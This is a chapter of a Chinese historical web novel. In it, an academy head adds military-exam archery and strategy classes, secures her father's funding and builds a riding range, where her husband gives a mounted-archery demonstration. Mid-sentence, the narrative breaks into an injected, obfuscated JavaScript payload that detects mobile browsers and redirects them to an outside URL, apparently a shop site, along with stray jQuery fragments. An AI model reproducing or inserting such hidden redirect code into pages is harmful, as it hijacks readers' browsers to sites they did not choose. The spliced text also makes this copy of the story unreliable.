第二日解试,吴黛又亲自陪同汪庸和杜晔去国子监考场。
解试分两场,今日先考经义,明日则考策论。经义考察《四书》、《五经》的内容理解和阐释;策论则就时政提出问题,要求考生提出具体的解决方案和建议。
汪庸和杜晔实力相对全面,但毕竟都是第一次参加科举,难免会紧张。吴黛去考场,主要是给他们打气,好让他们以最佳的状态上场。
两日考下来,除了杜晔在考经义时有两题记错出处,有些懊恼之外,两人皆发挥正常。
姚冠杨安慰杜晔:“我当年头一次科考,经义也有好几处写得乱七八糟,结果也上了榜。我想只要你大意是对的,评卷官应能酌情评判。”
如此,杜晔才稍宽了心,安心地等待放榜。
忙完解试,吴黛便正儿八经地筹划武举科目的教学安排。
她首先调查了书院众学生对武举的兴趣。
书院十五名学生,一斋八人中汪庸和杜晔走了进士科考的路,自然不再有武举资格。余下的除了魏正槐,另有三人想试一试今年的武举,包括章宜。二斋七人年龄偏小,都不到参加武举的年龄,且有三人正在准备童子举。
将此四人单独分出去另组一个武学斋,专门教授武举相关科目,从资源利用上来讲,似乎有些浪费。
吴黛跟姚冠杨商量后,决定先以选修课的形式增设武举相关科目。在时间安排上,减少已有的书画诗赋课,多出来的课时皆用来安排骑射课和兵法课。
骑射课的老师自然由姚冠杨来担任,而兵法课则由吴黛和姚冠杨共同带课。至于兵器使用和举重、角力等体力项目,则由学生们自行准备。
姚冠杨起初对教兵法课不太自信,他跟吴黛坦言:“我对兵法所知不多,实在无法胜任。吴娘子你如此有信心,想来熟读兵书,这兵法课还是你一人教授为好。
“我其实也只知道些皮毛。”吴黛实际上除了三十六计,其余一概不懂。
“啊?”姚冠杨不可置信,“那......那.......你如何......”
“我哪来的自信和勇气教兵法课?”吴黛笑道,“我们可以边学边教嘛。”
“这能行吗?”姚冠杨质疑。
吴黛挑眉道:“怎么不行?你现下在书院教的,不也是你以前在学堂里学的,或是你自己的所见所闻所读?”
姚冠杨疑惑地点点头,“这话是没错,可这都是我多年所得,积累颇深,这跟现学现卖,还是不一样。”
吴黛淡定道:“你以前读书备考时,总有准备军政方面的策论题吧,《孙子兵法》你总读过吧?”
姚冠杨点点头。
吴黛道:“那就证明你基础扎实,我们备课时再多花些功夫,把《武经七书》之类的都读了,教学生不在话下。”
姚冠杨还有些犹豫。
吴黛继续劝道:“再说,武举的文试成绩不是最要紧的,武试才是关键,得教好他们骑射,督促他们练体能、练兵器才行。”
姚冠杨闻之有理,终于点头同意。
***
书院要教武举科目,这个重要的决策自然得让吴柏田这个大股东认可。
吴柏田听了吴黛的一番分析论述,欣然拍大腿道:“好,好!此举定是临安诸私塾书院的头一份,除了我们云章,恐怕没人有这个能力,爹当然同意!稍后你去公账上支三百两,买几套上好的弓箭,再买几匹好马,若还有其他需要,尽管开口。”
见吴柏田如此赞赏支持,吴黛甚是欣慰。
云章书院开张以来,除了学生们入学时交的束脩、杂费,还未有其他进项。前阵子又因云片糕的事,才刚刚让吴柏田掏过二百两,如今又让他出钱,她有些过意不去,道:“等忙过这阵,若有余钱,我想着以书院的名义投资。如此,以后不用老向您伸手。”
“甚好甚好。”吴柏田笑呵呵道,“为父知道你做事周全,不过也不急于一时,书院才开了不到俩月,就算是做买卖,回本也得一步步来嘛。”
吴黛道是,正欲告退,突然又灵机一动,道:“二哥不喜读书,今年也未能参加解试,何不让他也试试武举,我看他手脚灵活,身体强健,说不定是个武官的苗子。”
“不成不成!就他那手不能提肩不能挑的样子,怎么提刀上战场?”吴柏田连连摆手,随后顿了顿有问,“他说了想参加?”
吴黛摇头,“那倒没有。”
吴柏田叹气:“要是你大哥还在,让他试试便试试,怎么说也是个做官的机会。可眼下这世道......唉,要是中了武举,万一又要打仗,那真得上前线拼命呀!”
吴黛道:“爹,做武官又不一定上战场,殿前司只负责保卫宫廷,枢密院、兵部都有偏文的职位。”
吴柏田道:“我们吴家朝中又没人,即使榜上有名,那等好差事也轮不到阿盛。”
吴黛又道:“那就算二哥将来文举科考能顺利及第,若战事重开,难道就能避得了战场?位高如虞相公,文官出身,当年也不得不带兵应战。”
吴柏田拧眉不语。
吴黛继续道:“再说,真要再打起来,连皇室权臣都有可能沦为阶下囚,难道做平民的就一定能逃过战乱祸事吗?”
吴柏田深叹一口气。
吴黛再道:“况且,我们先不论将来,练练武艺、骑射,能强身健体,就算不在官场,身强之人做任何事,总比身弱之人要来得好,若逢乱世,也能凭本事自保。”
吴柏田终于松口道:“容我再想想。”
***
融资到位,吴黛便马不停蹄地展开计划。
马匹和弓箭的采购交给了姚冠杨,吴黛自己负责勘察布置骑射场地。
云章书院所处之地颇偏,周围地势开阔,附近尽是司马营、枢密院亲兵营等营地,是布置骑射场的理想之地。
吴黛命人在书院后面围出一块空地,南北约二百步,东西近一百五十步,四角各立一根丈许高的旗杆,旗面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861135|189019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绣上云章二字。她还派人在地面铺上细软的黄土,这是她观察各处营地所得的经验,细黄土既能保护马蹄,也能减轻骑手跌落时的冲击。
场地四周整齐地列上大小不一的靶子,有立于地面的草人靶,也有悬挂在木架上布面靶。她还在场地中央设计了一条笔直的跑道,两侧每隔二十部步就竖起一根漆成朱红的标杆,顶端系上彩带,用于练习策马疾驰时射箭的定位。跑道尽头再放上一排弧形的木栏,供马匹转向时缓冲。
此外,她还将靶场一角留出空间,搭了草棚,用来放置各式弓箭。姚冠杨买了适合初学者用的柳木弓,也买了进阶型的铁胎弓。
教场西南角则是马厩,外墙用青砖砌成就,顶上覆盖厚实的茅草。马厩分成六间马栏,每间都铺上稻草。马栏用三尺来高的木栅隔开,栅栏上钉着铜钩,挂上马鞍、缰绳等器具。马厩一角设有专门的料台,用来摆放饲料和清水。
姚冠杨初步买了四匹马,两匹西域血统的枣红马,性子略烈,擅长短距离冲刺。两匹较温顺的黑马,虽不如西域但耐力极好,适合初学者。
前后历时不到一个月,云章教场便顺利完工,迎来了书院的第一节骑射课。
初冬户外阳光正好,姚冠杨带着魏正槐和章宜等四人,兴高采烈地初试教场。
与此同时,明礼堂内,吴黛带着其余的一、二斋学生上算学课。
可伴随着屋外一阵阵的喝彩声、欢呼声,学生们哪还还坐得住,眼睛不住地往窗外教场处飘。
“专心听课!”吴黛敲敲讲桌,出声提醒开小差的学生。
话音刚落,又一阵惊呼传来,吸引了屋内所有人的注意力,就连她自己也忍不住转头瞥了好几眼。
只见教场内,姚冠杨正耐心地指导着魏正槐。
今日他身着一袭藏蓝劲装,腰间系着镶银箭囊,手把手教导正确持弓姿势,不厌其烦地纠正对方手腕的角度。
"持弓如携友,既要稳妥,又要给它活络的空间。"他的声音温和却不失威严。
待到示范时,姚冠杨翻身上马的动作轻盈似燕。
他□□的枣红马训练有素,只消腿上稍一用力,便步伐稳健地踏上跑道。只见他右手持弓,左手轻扬马缰,马速渐快。待到第一个标杆处,他腰身微转,右手顺滑地自箭囊中抽箭,搭箭张弓,一气呵成。
他动作行云流水,弓开如满月,箭去似流星。只听"嗖"的一声,箭矢已然钉入五十步外的靶心。马匹尚未停步,第二箭、第三箭已然离弦,每一箭都准确命中目标。
待到示范完毕,他勒马回转,面带微笑地望向目瞪口呆的学生:"射箭贵在心静,习练之时,要先慢后快,切莫好高骛远。今日我们从基础开始......"
吴黛原本觉得这位便宜夫君不过是个穷酸书生,可越处越觉得他有意思。
今日看他策马疾驰、利箭连发的英姿,她如其他学生一般,也禁不住看呆了。一颗心竟似那靶子上的彩带,忽悬忽落,随风轻摇。